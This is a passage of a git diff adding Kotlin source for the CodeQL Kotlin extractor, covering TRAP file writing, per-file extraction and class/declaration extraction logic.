+                e.printStackTrace(System.err)
+            }
+        }
+        if (exitAfterExtraction) {
+            exitProcess(0)
+        }
+    }
+
+    private fun runExtractor(moduleFragment: IrModuleFragment, pluginContext: IrPluginContext) {
+        val startTimeMs = System.currentTimeMillis()
+        // This default should be kept in sync with com.semmle.extractor.java.interceptors.KotlinInterceptor.initializeExtractionContext
+        val trapDir = File(System.getenv("CODEQL_EXTRACTOR_JAVA_TRAP_DIR").takeUnless { it.isNullOrEmpty() } ?: "kotlin-extractor/trap")
+        // The invocation TRAP file will already have been started
+        // before the plugin is run, so we open it in append mode.
+        FileOutputStream(File(invocationTrapFile), true).bufferedWriter().use { invocationTrapFileBW ->
+            val invocationExtractionProblems = ExtractionProblems()
+            val lm = TrapLabelManager()
+            val logCounter = LogCounter()
+            val loggerBase = LoggerBase(logCounter)
+            val tw = TrapWriter(loggerBase, lm, invocationTrapFileBW, null)
+            // The interceptor has already defined #compilation = *
+            val compilation: Label<DbCompilation> = StringLabel("compilation")
+            tw.writeCompilation_started(compilation)
+            if (compilationStartTime != null) {
+                tw.writeCompilation_compiler_times(compilation, -1.0, (System.currentTimeMillis()-compilationStartTime)/1000.0)
+            }
+            tw.flush()
+            val logger = Logger(loggerBase, tw)
+            logger.info("Extraction started")
+            logger.flush()
+            logger.info("Extraction for invocation TRAP file $invocationTrapFile")
+            logger.flush()
+            logPeakMemoryUsage(logger, "before extractor")
+            if (System.getenv("CODEQL_EXTRACTOR_JAVA_KOTLIN_DUMP") == "true") {
+                logger.info("moduleFragment:\n" + moduleFragment.dump())
+            }
+            val primitiveTypeMapping = PrimitiveTypeMapping(logger, pluginContext)
+            // FIXME: FileUtil expects a static global logger
+            // which should be provided by SLF4J's factory facility. For now we set it here.
+            FileUtil.logger = logger
+            val srcDir = File(System.getenv("CODEQL_EXTRACTOR_JAVA_SOURCE_ARCHIVE_DIR").takeUnless { it.isNullOrEmpty() } ?: "kotlin-extractor/src")
+            srcDir.mkdirs()
+            val globalExtensionState = KotlinExtractorGlobalState()
+            moduleFragment.files.mapIndexed { index: Int, file: IrFile ->
+                val fileExtractionProblems = FileExtractionProblems(invocationExtractionProblems)
+                val fileTrapWriter = tw.makeSourceFileTrapWriter(file, true)
+                loggerBase.setFileNumber(index)
+                fileTrapWriter.writeCompilation_compiling_files(compilation, index, fileTrapWriter.fileId)
+                doFile(fileExtractionProblems, invocationTrapFile, fileTrapWriter, checkTrapIdentical, loggerBase, trapDir, srcDir, file, primitiveTypeMapping, pluginContext, globalExtensionState)
+                fileTrapWriter.writeCompilation_compiling_files_completed(compilation, index, fileExtractionProblems.extractionResult())
+            }
+            loggerBase.printLimitedDiagnosticCounts(tw)
+            logPeakMemoryUsage(logger, "after extractor")
+            logger.info("Extraction completed")
+            logger.flush()
+            val compilationTimeMs = System.currentTimeMillis() - startTimeMs
+            tw.writeCompilation_finished(compilation, -1.0, compilationTimeMs.toDouble() / 1000, invocationExtractionProblems.extractionResult())
+            tw.flush()
+            loggerBase.close()
+        }
+    }
+
+    private fun logPeakMemoryUsage(logger: Logger, time: String) {
+        logger.info("Peak memory: Usage $time")
+
+        val beans = ManagementFactory.getMemoryPoolMXBeans()
+        var heap: Long = 0
+        var nonheap: Long = 0
+        for (bean in beans) {
+            val peak = bean.getPeakUsage().getUsed()
+            val kind = when (bean.getType()) {
+                           MemoryType.HEAP -> { heap += peak; "heap" }
+                           MemoryType.NON_HEAP -> { nonheap += peak; "non-heap" }
+                           else -> "unknown"
+                       }
+            logger.info("Peak memory: * Peak for $kind bean ${bean.getName()} is $peak")
+        }
+        logger.info("Peak memory: * Total heap peak: $heap")
+        logger.info("Peak memory: * Total non-heap peak: $nonheap")
+    }
+}
+
+class KotlinExtractorGlobalState {
+    // These three record mappings of classes, functions and fields that should be replaced wherever they are found.
+    // As of now these are only used to fix IR generated by the Gradle Android Extensions plugin, hence e.g. IrProperty
+    // doesn't have a map as that plugin doesn't generate them. If and when these are used more widely additional maps
+    // should be added here.
+    val syntheticToRealClassMap = HashMap<IrClass, IrClass?>()
+    val syntheticToRealFunctionMap = HashMap<IrSimpleFunction, IrSimpleFunction?>()
+    val syntheticToRealFieldMap = HashMap<IrField, IrField?>()
+}
+
+/*
+The `ExtractionProblems` class is used to record whether this invocation
+had any problems. It distinguish 2 kinds of problem:
+* Recoverable problems: e.g. if we check something that we expect to be
+  non-null and find that it is null.
+* Non-recoverable problems: if we catch an exception.
+*/
+open class ExtractionProblems {
+    private var recoverableProblem = false
+    private var nonRecoverableProblem = false
+
+    open fun setRecoverableProblem() {
+        recoverableProblem = true
+    }
+    open fun setNonRecoverableProblem() {
+        nonRecoverableProblem = true
+    }
+    fun extractionResult(): Int {
+        if(nonRecoverableProblem) {
+            return 2
+        } else if(recoverableProblem) {
+            return 1
+        } else {
+            return 0
+        }
+    }
+}
+
+/*
+The `FileExtractionProblems` is analogous to `ExtractionProblems`,
+except it records whether there were any problems while extracting a
+particular source file.
+*/
+class FileExtractionProblems(val invocationExtractionProblems: ExtractionProblems): ExtractionProblems() {
+    override fun setRecoverableProblem() {
+        super.setRecoverableProblem()
+        invocationExtractionProblems.setRecoverableProblem()
+    }
+    override fun setNonRecoverableProblem() {
+        super.setNonRecoverableProblem()
+        invocationExtractionProblems.setNonRecoverableProblem()
+    }
+}
+
+/*
+This function determines whether 2 TRAP files should be considered to be
+equivalent. It returns `true` iff all of their non-comment lines are
+identical.
+*/
+private fun equivalentTrap(f1: File, f2: File): Boolean {
+    f1.bufferedReader().use { bw1 ->
+        f2.bufferedReader().use { bw2 ->
+            while(true) {
+                val l1 = bw1.readLine()
+                val l2 = bw2.readLine()
+                if (l1 == null && l2 == null) {
+                    return true
+                } else if (l1 == null || l2 == null) {
+                    return false
+                } else if (l1 != l2) {
+                    if (!l1.startsWith("//") || !l2.startsWith("//")) {
+                        return false
+                    }
+                }
+            }
+        }
+    }
+}
+
+private fun doFile(
+    fileExtractionProblems: FileExtractionProblems,
+    invocationTrapFile: String,
+    fileTrapWriter: FileTrapWriter,
+    checkTrapIdentical: Boolean,
+    loggerBase: LoggerBase,
+    dbTrapDir: File,
+    dbSrcDir: File,
+    srcFile: IrFile,
+    primitiveTypeMapping: PrimitiveTypeMapping,
+    pluginContext: IrPluginContext,
+    globalExtensionState: KotlinExtractorGlobalState) {
+    val srcFilePath = srcFile.path
+    val logger = FileLogger(loggerBase, fileTrapWriter)
+    logger.info("Extracting file $srcFilePath")
+    logger.flush()
+
+    val context = logger.loggerBase.extractorContextStack
+    if (!context.empty()) {
+        logger.warn("Extractor context was not empty. It thought:")
+        context.clear()
+    }
+
+    val dbSrcFilePath = Paths.get("$dbSrcDir/$srcFilePath")
+    val dbSrcDirPath = dbSrcFilePath.parent
+    Files.createDirectories(dbSrcDirPath)
+    val srcTmpFile = File.createTempFile(dbSrcFilePath.fileName.toString() + ".", ".src.tmp", dbSrcDirPath.toFile())
+    srcTmpFile.outputStream().use {
+        Files.copy(Paths.get(srcFilePath), it)
+    }
+    srcTmpFile.renameTo(dbSrcFilePath.toFile())
+
+    val trapFile = File("$dbTrapDir/$srcFilePath.trap")
+    val trapFileDir = trapFile.parentFile
+    trapFileDir.mkdirs()
+
+    if (checkTrapIdentical || !trapFile.exists()) {
+        val trapTmpFile = File.createTempFile("$srcFilePath.", ".trap.tmp", trapFileDir)
+
+        try {
+            trapTmpFile.bufferedWriter().use { trapFileBW ->
+                // We want our comments to be the first thing in the file,
+                // so start off with a mere TrapWriter
+                val tw = TrapWriter(loggerBase, TrapLabelManager(), trapFileBW, fileTrapWriter)
+                tw.writeComment("Generated by the CodeQL Kotlin extractor for kotlin source code")
+                tw.writeComment("Part of invocation $invocationTrapFile")
+                // Now elevate to a SourceFileTrapWriter, and populate the
+                // file information
+                val sftw = tw.makeSourceFileTrapWriter(srcFile, true)
+                val externalDeclExtractor = ExternalDeclExtractor(logger, invocationTrapFile, srcFilePath, primitiveTypeMapping, pluginContext, globalExtensionState, fileTrapWriter)
+                val fileExtractor = KotlinFileExtractor(logger, sftw, srcFilePath, null, externalDeclExtractor, primitiveTypeMapping, pluginContext, globalExtensionState)
+
+                fileExtractor.extractFileContents(srcFile, sftw.fileId)
+                externalDeclExtractor.extractExternalClasses()
+            }
+
+            if (checkTrapIdentical && trapFile.exists()) {
+                if (equivalentTrap(trapTmpFile, trapFile)) {
+                    if (!trapTmpFile.delete()) {
+                        logger.warn("Failed to delete $trapTmpFile")
+                    }
+                } else {
+                    val trapDifferentFile = File.createTempFile("$srcFilePath.", ".trap.different", dbTrapDir)
+                    if (trapTmpFile.renameTo(trapDifferentFile)) {
+                        logger.warn("TRAP difference: $trapFile vs $trapDifferentFile")
+                    } else {
+                        logger.warn("Failed to rename $trapTmpFile to $trapFile")
+                    }
+                }
+            } else {
+                if (!trapTmpFile.renameTo(trapFile)) {
+                    logger.warn("Failed to rename $trapTmpFile to $trapFile")
+                }
+            }
+        // We catch Throwable rather than Exception, as we want to
+        // continue trying to extract everything else even if we get a
+        // stack overflow or an assertion failure in one file.
+        } catch (e: Throwable) {
+            logger.error("Failed to extract '$srcFilePath'. Partial TRAP file location is $trapTmpFile", e)
+            context.clear()
+            fileExtractionProblems.setNonRecoverableProblem()
+        }
+    }
+}
diff --git a/java/kotlin-extractor/src/main/kotlin/KotlinFileExtractor.kt b/java/kotlin-extractor/src/main/kotlin/KotlinFileExtractor.kt
new file mode 100644
index 00000000000..ddd6378d62d
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/KotlinFileExtractor.kt
@@ -0,0 +1,4229 @@
+package com.github.codeql
+
+import com.github.codeql.comments.CommentExtractor
+import com.github.codeql.utils.*
+import com.github.codeql.utils.versions.functionN
+import com.github.codeql.utils.versions.getIrStubFromDescriptor
+import com.semmle.extractor.java.OdasaOutput
+import org.jetbrains.kotlin.backend.common.extensions.IrPluginContext
+import org.jetbrains.kotlin.backend.common.pop
+import org.jetbrains.kotlin.builtins.functions.BuiltInFunctionArity
+import org.jetbrains.kotlin.descriptors.*
+import org.jetbrains.kotlin.descriptors.java.JavaVisibilities
+import org.jetbrains.kotlin.ir.IrElement
+import org.jetbrains.kotlin.ir.IrStatement
+import org.jetbrains.kotlin.ir.ObsoleteDescriptorBasedAPI
+import org.jetbrains.kotlin.ir.backend.js.utils.realOverrideTarget
+import org.jetbrains.kotlin.ir.declarations.*
+import org.jetbrains.kotlin.ir.expressions.*
+import org.jetbrains.kotlin.ir.symbols.*
+import org.jetbrains.kotlin.ir.types.*
+import org.jetbrains.kotlin.ir.util.*
+import org.jetbrains.kotlin.name.FqName
+import org.jetbrains.kotlin.util.OperatorNameConventions
+import java.io.Closeable
+import java.util.*
+
+open class KotlinFileExtractor(
+    override val logger: FileLogger,
+    override val tw: FileTrapWriter,
+    val filePath: String,
+    dependencyCollector: OdasaOutput.TrapFileManager?,
+    externalClassExtractor: ExternalDeclExtractor,
+    primitiveTypeMapping: PrimitiveTypeMapping,
+    pluginContext: IrPluginContext,
+    globalExtensionState: KotlinExtractorGlobalState
+): KotlinUsesExtractor(logger, tw, dependencyCollector, externalClassExtractor, primitiveTypeMapping, pluginContext, globalExtensionState) {
+
+    inline fun <T> with(kind: String, element: IrElement, f: () -> T): T {
+        val name = when (element) {
+            is IrFile -> element.name
+            is IrDeclarationWithName -> element.name.asString()
+            else -> "<no name>"
+        }
+        val loc = tw.getLocationString(element)
+        val context = logger.loggerBase.extractorContextStack
+        context.push(ExtractorContext(kind, element, name, loc))
+        try {
+            val depth = context.size
+            val depthDescription = "${"-".repeat(depth)} (${depth.toString()})"
+            logger.trace("$depthDescription: Starting a $kind ($name) at $loc")
+            val result = f()
+            logger.trace("$depthDescription: Finished a $kind ($name) at $loc")
+            return result
+        } catch(exception: Exception) {
+            throw Exception("While extracting a $kind ($name) at $loc", exception)
+        } finally {
+            context.pop()
+        }
+    }
+
+    fun extractFileContents(file: IrFile, id: Label<DbFile>) {
+        with("file", file) {
+            val locId = tw.getWholeFileLocation()
+            val pkg = file.fqName.asString()
+            val pkgId = extractPackage(pkg)
+            tw.writeHasLocation(id, locId)
+            tw.writeCupackage(id, pkgId)
+
+            val exceptionOnFile = System.getenv("CODEQL_KOTLIN_INTERNAL_EXCEPTION_WHILE_EXTRACTING_FILE")
+            if(exceptionOnFile != null) {
+                @OptIn(kotlin.ExperimentalStdlibApi::class) // Annotation required by kotlin versions < 1.5
+                if(exceptionOnFile.lowercase() == file.name.lowercase()) {
+                    throw Exception("Internal testing exception")
+                }
+            }
+
+            file.declarations.map { extractDeclaration(it, extractPrivateMembers = true, extractFunctionBodies = true) }
+            extractStaticInitializer(file, null)
+            CommentExtractor(this, file, tw.fileId).extract()
+        }
+    }
+
+    private fun isFake(d: IrDeclarationWithVisibility): Boolean {
+        val visibility = d.visibility
+        if (visibility is DelegatedDescriptorVisibility && visibility.delegate == Visibilities.InvisibleFake) {
+            return true
+        }
+        if (d.isFakeOverride) {
+            return true
+        }
+        return false
+    }
+
+    private fun shouldExtractDecl(declaration: IrDeclaration, extractPrivateMembers: Boolean) =
+        extractPrivateMembers ||
+        when(declaration) {
+            is IrDeclarationWithVisibility -> declaration.visibility.let { it != DescriptorVisibilities.PRIVATE && it != DescriptorVisibilities.PRIVATE_TO_THIS }
+            else -> true
+        }
+
+    fun extractDeclaration(declaration: IrDeclaration, extractPrivateMembers: Boolean, extractFunctionBodies: Boolean) {
+        with("declaration", declaration) {
+            if (!shouldExtractDecl(declaration, extractPrivateMembers))
+                return
+            when (declaration) {
+                is IrClass -> {
+                    if (isExternalDeclaration(declaration)) {
+                        extractExternalClassLater(declaration)
+                    } else {
+                        extractClassSource(declaration, extractDeclarations = true, extractStaticInitializer = true, extractPrivateMembers = extractPrivateMembers, extractFunctionBodies = extractFunctionBodies)
+                    }
+                }
+                is IrFunction -> {
+                    val parentId = useDeclarationParent(declaration.parent, false)?.cast<DbReftype>()
+                    if (parentId != null) {
+                        extractFunction(declaration, parentId, extractBody = extractFunctionBodies, extractMethodAndParameterTypeAccesses = extractFunctionBodies, null, listOf())
+                    }
+                    Unit
+                }
+                is IrAnonymousInitializer -> {
+                    // Leaving this intentionally empty. init blocks are extracted during class extraction.
+                }
+                is IrProperty -> {
+                    val parentId = useDeclarationParent(declaration.parent, false)?.cast<DbReftype>()
+                    if (parentId != null) {
+                        extractProperty(declaration, parentId, extractBackingField = true, extractFunctionBodies = extractFunctionBodies, null, listOf())
+                    }
+                    Unit
+                }
+                is IrEnumEntry -> {
+                    val parentId = useDeclarationParent(declaration.parent, false)?.cast<DbReftype>()
+                    if (parentId != null) {
+                        extractEnumEntry(declaration, parentId, extractFunctionBodies)
+                    }
+                    Unit
+                }
+                is IrField -> {
+                    val parentId = useDeclarationParent(declaration.parent, false)?.cast<DbReftype>()
+                    if (parentId != null) {
+                        extractField(declaration, parentId)
+                    }
+                    Unit
+                }
+                is IrTypeAlias -> extractTypeAlias(declaration)
+                else -> logger.errorElement("Unrecognised IrDeclaration: " + declaration.javaClass, declaration)
+            }
+        }
+    }
+
+
+
+    fun getLabel(element: IrElement) : String? {
+        when (element) {
+            is IrClass -> return getClassLabel(element, listOf()).classLabel
+            is IrTypeParameter -> return getTypeParameterLabel(element)
+            is IrFunction -> return getFunctionLabel(element, null)
+            is IrValueParameter -> return getValueParameterLabel(element, null)
+            is IrProperty -> return getPropertyLabel(element)
+            is IrField -> return getFieldLabel(element)
+            is IrEnumEntry -> return getEnumEntryLabel(element)
+
+            // Fresh entities:
+            is IrBody -> return null
+            is IrExpression -> return null
+
+            // todo add others:
+            else -> {
+                logger.errorElement("Unhandled element type: ${element::class}", element)
+                return null
+            }
+        }
+    }
+
+    fun extractTypeParameter(tp: IrTypeParameter, apparentIndex: Int): Label<out DbTypevariable>? {
+        with("type parameter", tp) {
+            val parentId = getTypeParameterParentLabel(tp) ?: return null
+            val id = tw.getLabelFor<DbTypevariable>(getTypeParameterLabel(tp))
+
+            // Note apparentIndex does not necessarily equal `tp.index`, because at least constructor type parameters
+            // have indices offset from the type parameters of the constructed class (i.e. the parameter S of
+            // `class Generic<T> { public <S> Generic(T t, S s) { ... } }` will have `tp.index` 1, not 0).
+            tw.writeTypeVars(id, tp.name.asString(), apparentIndex, 0, parentId)
+            val locId = tw.getLocation(tp)
+            tw.writeHasLocation(id, locId)
+
+            tp.superTypes.forEachIndexed { boundIdx, bound ->
+                if(!(bound.isAny() || bound.isNullableAny())) {
+                    tw.getLabelFor<DbTypebound>("@\"bound;$boundIdx;{$id}\"") {
+                        tw.writeTypeBounds(it, useType(bound).javaResult.id.cast<DbReftype>(), boundIdx, id)
+                    }
+                }
+            }
+
+            return id
+        }
+    }
+
+    fun extractVisibility(elementForLocation: IrElement, id: Label<out DbModifiable>, v: DescriptorVisibility) {
+        with("visibility", elementForLocation) {
+            when (v) {
+                DescriptorVisibilities.PRIVATE -> addModifiers(id, "private")
+                DescriptorVisibilities.PRIVATE_TO_THIS -> addModifiers(id, "private")
+                DescriptorVisibilities.PROTECTED -> addModifiers(id, "protected")
+                DescriptorVisibilities.PUBLIC -> addModifiers(id, "public")
+                DescriptorVisibilities.INTERNAL -> addModifiers(id, "internal")
+                DescriptorVisibilities.LOCAL -> if (elementForLocation is IrFunction && elementForLocation.isLocalFunction()) {
+                    // The containing class is `private`.
+                    addModifiers(id, "public")
+                } else {
+                    addVisibilityModifierToLocalOrAnonymousClass(id)
+                }
+                is DelegatedDescriptorVisibility -> {
+                    when (v.delegate) {
+                        JavaVisibilities.ProtectedStaticVisibility -> {
+                            addModifiers(id, "protected")
+                            addModifiers(id, "static")
+                        }
+                        JavaVisibilities.PackageVisibility -> {
+                            // default java visibility (top level)
+                        }
+                        JavaVisibilities.ProtectedAndPackage -> {
+                            // default java visibility (member level)
+                        }
+                        else -> logger.errorElement("Unexpected delegated visibility: $v", elementForLocation)
+                    }
+                }
+                else -> logger.errorElement("Unexpected visibility: $v", elementForLocation)
+            }
+        }
+    }
+
+    fun extractClassModifiers(c: IrClass, id: Label<out DbClassorinterface>) {
+        with("class modifiers", c) {
+            when (c.modality) {
+                Modality.FINAL -> addModifiers(id, "final")
+                Modality.SEALED -> addModifiers(id, "sealed")
+                Modality.OPEN -> { } // This is the default
+                Modality.ABSTRACT -> addModifiers(id, "abstract")
+                else -> logger.errorElement("Unexpected class modality: ${c.modality}", c)
+            }
+            extractVisibility(c, id, c.visibility)
+        }
+    }
+
+    // `argsIncludingOuterClasses` can be null to describe a raw generic type.
+    // For non-generic types it will be zero-length list.
+    fun extractClassInstance(c: IrClass, argsIncludingOuterClasses: List<IrTypeArgument>?): Label<out DbClassorinterface> {
+        with("class instance", c) {
+            if (argsIncludingOuterClasses?.isEmpty() == true) {
+                logger.error("Instance without type arguments: " + c.name.asString())
+            }
+
+            val classLabelResults = getClassLabel(c, argsIncludingOuterClasses)
+            val id = tw.getLabelFor<DbClassorinterface>(classLabelResults.classLabel)
+            val pkg = c.packageFqName?.asString() ?: ""
+            val cls = classLabelResults.shortName
+            val pkgId = extractPackage(pkg)
+            val kind = c.kind
+            // TODO: There's lots of duplication between this and extractClassSource.
+            // Can we share it?
+            if(kind == ClassKind.INTERFACE || kind == ClassKind.ANNOTATION_CLASS) {
+                val interfaceId = id.cast<DbInterface>()
+                val sourceInterfaceId = useClassSource(c).cast<DbInterface>()
+                tw.writeInterfaces(interfaceId, cls, pkgId, sourceInterfaceId)
+            } else {
+                val classId = id.cast<DbClass>()
+                val sourceClassId = useClassSource(c).cast<DbClass>()
+                tw.writeClasses(classId, cls, pkgId, sourceClassId)
+
+                if (kind == ClassKind.ENUM_CLASS) {
+                    tw.writeIsEnumType(classId)
+                } else if (kind != ClassKind.CLASS && kind != ClassKind.OBJECT) {
+                    logger.errorElement("Unrecognised class kind $kind", c)
+                }
+            }
+
+            val typeArgs = removeOuterClassTypeArgs(c, argsIncludingOuterClasses)
+            if (typeArgs != null) {
+                for ((idx, arg) in typeArgs.withIndex()) {
+                    val argId = getTypeArgumentLabel(arg).id
+                    tw.writeTypeArgs(argId, idx, id)
+                }
+                tw.writeIsParameterized(id)
+            } else {
+                tw.writeIsRaw(id)
+            }
+
+            val unbound = useClassSource(c)
+            tw.writeErasure(id, unbound)
+            extractClassModifiers(c, id)
+            extractClassSupertypes(c, id, if (argsIncludingOuterClasses == null) ExtractSupertypesMode.Raw else ExtractSupertypesMode.Specialised(argsIncludingOuterClasses))
+
+            val locId = getLocation(c, argsIncludingOuterClasses)
+            tw.writeHasLocation(id, locId)
+
+            // Extract the outer <-> inner class relationship, passing on any type arguments in excess to this class' parameters.
+            extractEnclosingClass(c, id, locId, argsIncludingOuterClasses?.drop(c.typeParameters.size) ?: listOf())
+
+            return id
+        }
+    }
+
+    private fun getLocation(decl: IrDeclaration, typeArgs: List<IrTypeArgument>?): Label<DbLocation> {
+        return if (typeArgs != null && typeArgs.isNotEmpty()) {
+            val c = getContainingClassOrSelf(decl)
+            if (c == null) {
+                tw.getLocation(decl)
+            } else {
+                val binaryPath = getIrClassBinaryPath(c)
+                val newTrapWriter = tw.makeFileTrapWriter(binaryPath, true)
+                newTrapWriter.getWholeFileLocation()
+            }
+        } else {
+            tw.getLocation(decl)
+        }
+    }
+
+    // `argsIncludingOuterClasses` can be null to describe a raw generic type.
+    // For non-generic types it will be zero-length list.
+    fun extractNonPrivateMemberPrototypes(c: IrClass, argsIncludingOuterClasses: List<IrTypeArgument>?, id: Label<out DbClassorinterface>) {
+        with("member prototypes", c) {
+            val typeParamSubstitution =
+                when (argsIncludingOuterClasses) {
+                    null -> { x: IrType, _: TypeContext, _: IrPluginContext -> x.toRawType() }
+                    else -> makeGenericSubstitutionFunction(c, argsIncludingOuterClasses)
+                }
+
+            c.declarations.map {
+                if (shouldExtractDecl(it, false)) {
+                    when(it) {
+                        is IrFunction -> extractFunction(it, id, extractBody = false, extractMethodAndParameterTypeAccesses = false, typeParamSubstitution, argsIncludingOuterClasses)
+                        is IrProperty -> extractProperty(it, id, extractBackingField = false, extractFunctionBodies = false, typeParamSubstitution, argsIncludingOuterClasses)
+                        else -> {}
+                    }
+                }
+            }
+        }
+    }
+
+    private fun extractLocalTypeDeclStmt(c: IrClass, callable: Label<out DbCallable>, parent: Label<out DbStmtparent>, idx: Int) {
+        val id = extractClassSource(c, extractDeclarations = true, extractStaticInitializer = true, extractPrivateMembers = true, extractFunctionBodies = true).cast<DbClass>()
+        extractLocalTypeDeclStmt(id, c, callable, parent, idx)
+    }
+
+    private fun extractLocalTypeDeclStmt(id: Label<out DbClass>, locElement: IrElement, callable: Label<out DbCallable>, parent: Label<out DbStmtparent>, idx: Int) {
+        val stmtId = tw.getFreshIdLabel<DbLocaltypedeclstmt>()
+        tw.writeStmts_localtypedeclstmt(stmtId, parent, idx, callable)
+        tw.writeIsLocalClassOrInterface(id, stmtId)
+        val locId = tw.getLocation(locElement)
+        tw.writeHasLocation(stmtId, locId)
+    }
+
+    fun extractClassSource(c: IrClass, extractDeclarations: Boolean, extractStaticInitializer: Boolean, extractPrivateMembers: Boolean, extractFunctionBodies: Boolean): Label<out DbClassorinterface> {
+        with("class source", c) {
+            DeclarationStackAdjuster(c).use {
+
+                val id = if (c.isAnonymousObject) {
+                    useAnonymousClass(c).javaResult.id.cast<DbClass>()
+                } else {
+                    useClassSource(c)
+                }
+                val pkg = c.packageFqName?.asString() ?: ""
+                val cls = if (c.isAnonymousObject) "" else c.name.asString()
+                val pkgId = extractPackage(pkg)
+                val kind = c.kind
+                if (kind == ClassKind.INTERFACE || kind == ClassKind.ANNOTATION_CLASS) {
+                    val interfaceId = id.cast<DbInterface>()
+                    tw.writeInterfaces(interfaceId, cls, pkgId, interfaceId)
+                } else {
+                    val classId = id.cast<DbClass>()
+                    tw.writeClasses(classId, cls, pkgId, classId)
+
+                    if (kind == ClassKind.ENUM_CLASS) {
+                        tw.writeIsEnumType(classId)
+                    } else if (kind != ClassKind.CLASS && kind != ClassKind.OBJECT) {
+                        logger.warnElement("Unrecognised class kind $kind", c)
+                    }
+                }
+
+                val locId = tw.getLocation(c)
+                tw.writeHasLocation(id, locId)
+
+                extractEnclosingClass(c, id, locId, listOf())
+
+                c.typeParameters.mapIndexed { idx, param -> extractTypeParameter(param, idx) }
+                if (extractDeclarations) {
+                    c.declarations.map { extractDeclaration(it, extractPrivateMembers = extractPrivateMembers, extractFunctionBodies = extractFunctionBodies) }
+                    if (extractStaticInitializer)
+                        extractStaticInitializer(c, id)
+                }
+                if (c.isNonCompanionObject) {
+                    // For `object MyObject { ... }`, the .class has an
+                    // automatically-generated `public static final MyObject INSTANCE`
+                    // field that may be referenced from Java code, and is used in our
+                    // IrGetObjectValue support. We therefore need to fabricate it
+                    // here.
+                    val instance = useObjectClassInstance(c)
+                    val type = useSimpleTypeClass(c, emptyList(), false)
+                    tw.writeFields(instance.id, instance.name, type.javaResult.id, id, instance.id)
+                    tw.writeFieldsKotlinType(instance.id, type.kotlinResult.id)
+                    tw.writeHasLocation(instance.id, locId)
+                    addModifiers(instance.id, "public", "static", "final")
+                    tw.writeClass_object(id.cast<DbClass>(), instance.id)
+                }
+
+                extractClassModifiers(c, id)
+                val forceExtractSupertypeMembers = !isExternalDeclaration(c)
+                extractClassSupertypes(c, id, inReceiverContext = forceExtractSupertypeMembers)
+
+                return id
+            }
+        }
+    }
+
+    private fun extractEnclosingClass(innerDeclaration: IrDeclaration, innerId: Label<out DbClassorinterface>, innerLocId: Label<DbLocation>, parentClassTypeArguments: List<IrTypeArgument>) {
+        with("enclosing class", innerDeclaration) {
+            var parent: IrDeclarationParent? = innerDeclaration.parent
+            while (parent != null) {
+                if (parent is IrClass) {
+                    val parentId =
+                        if (parent.isAnonymousObject) {
+                            useAnonymousClass(parent).javaResult.id.cast<DbClass>()
+                        } else {
+                            useClassInstance(parent, parentClassTypeArguments).typeResult.id
+                        }
+                    tw.writeEnclInReftype(innerId, parentId)
+                    if (innerDeclaration is IrClass && innerDeclaration.isCompanion) {
+                        // If we are a companion then our parent has a
+                        //     public static final ParentClass$CompanionObjectClass CompanionObjectName;
+                        // that we need to fabricate here
+                        val instance = useCompanionObjectClassInstance(innerDeclaration)
+                        if (instance != null) {
+                            val type = useSimpleTypeClass(innerDeclaration, emptyList(), false)
+                            tw.writeFields(instance.id, instance.name, type.javaResult.id, parentId, instance.id)
+                            tw.writeFieldsKotlinType(instance.id, type.kotlinResult.id)
+                            tw.writeHasLocation(instance.id, innerLocId)
+                            addModifiers(instance.id, "public", "static", "final")
+                            tw.writeType_companion_object(parentId, instance.id, innerId.cast<DbClass>())
+                        }
+                    }
+
+                    break
+                } else if (parent is IrFile) {
+                    if (innerDeclaration is IrClass) {
+                        // We don't have to extract file class containers for classes
+                        break
+                    }
+                    if (this.filePath != parent.path) {
+                        logger.error("Unexpected file parent found")
+                    }
+                    val fileId = extractFileClass(parent)
+                    tw.writeEnclInReftype(innerId, fileId)
+                    break
+                }
+
+                parent = (parent as? IrDeclaration)?.parent
+            }
+        }
+    }
+
+    data class FieldResult(val id: Label<DbField>, val name: String)
+
+    fun useCompanionObjectClassInstance(c: IrClass): FieldResult? {
+        val parent = c.parent
+        if(!c.isCompanion) {
+            logger.error("Using companion instance for non-companion class")
+            return null
+        }
+        else if (parent !is IrClass) {
+            logger.error("Using companion instance for non-companion class")
+            return null
+        } else {
+            val parentId = useClassInstance(parent, listOf()).typeResult.id
+            val instanceName = c.name.asString()
+            val instanceLabel = "@\"field;{$parentId};$instanceName\""
+            val instanceId: Label<DbField> = tw.getLabelFor(instanceLabel)
+            return FieldResult(instanceId, instanceName)
+        }
+    }
+
+    fun useObjectClassInstance(c: IrClass): FieldResult {
+        if(!c.isNonCompanionObject) {
+            logger.error("Using instance for non-object class")
+        }
+        val classId = useClassInstance(c, listOf()).typeResult.id
+        val instanceName = "INSTANCE"
+        val instanceLabel = "@\"field;{$classId};$instanceName\""
+        val instanceId: Label<DbField> = tw.getLabelFor(instanceLabel)
+        return FieldResult(instanceId, instanceName)
+    }
+
+    private fun extractValueParameter(vp: IrValueParameter, parent: Label<out DbCallable>, idx: Int, typeSubstitution: TypeSubstitution?, parentSourceDeclaration: Label<out DbCallable>, classTypeArgsIncludingOuterClasses: List<IrTypeArgument>?, extractTypeAccess: Boolean, locOverride: Label<DbLocation>? = null): TypeResults {
+        with("value parameter", vp) {
+            val location = locOverride ?: getLocation(vp, classTypeArgsIncludingOuterClasses)
+            val id = useValueParameter(vp, parent)
+            if (extractTypeAccess) {
+                extractTypeAccessRecursive(typeSubstitution?.let { it(vp.type, TypeContext.OTHER, pluginContext) } ?: vp.type, location, id, -1)
+            }
+            return extractValueParameter(id, vp.type, vp.name.asString(), location, parent, idx, typeSubstitution, useValueParameter(vp, parentSourceDeclaration), vp.isVararg)
+        }
+    }
+
+    private fun extractValueParameter(id: Label<out DbParam>, t: IrType, name: String, locId: Label<DbLocation>, parent: Label<out DbCallable>, idx: Int, typeSubstitution: TypeSubstitution?, paramSourceDeclaration: Label<out DbParam>, isVararg: Boolean): TypeResults {
+        val substitutedType = typeSubstitution?.let { it(t, TypeContext.OTHER, pluginContext) } ?: t
+        val type = useType(substitutedType)
+        tw.writeParams(id, type.javaResult.id, idx, parent, paramSourceDeclaration)
+        tw.writeParamsKotlinType(id, type.kotlinResult.id)
+        tw.writeHasLocation(id, locId)
+        tw.writeParamName(id, name)
+        if (isVararg) {
+            tw.writeIsVarargsParam(id)
+        }
+        return type
+    }
+
+    private fun extractStaticInitializer(container: IrDeclarationContainer, classLabel: Label<out DbClassorinterface>?) {
+        with("static initializer extraction", container) {
+            extractDeclInitializers(container.declarations, true) {
+                val parentId = classLabel ?: extractFileClass(container as IrFile)
+                val clinitLabel = getFunctionLabel(
+                    container,
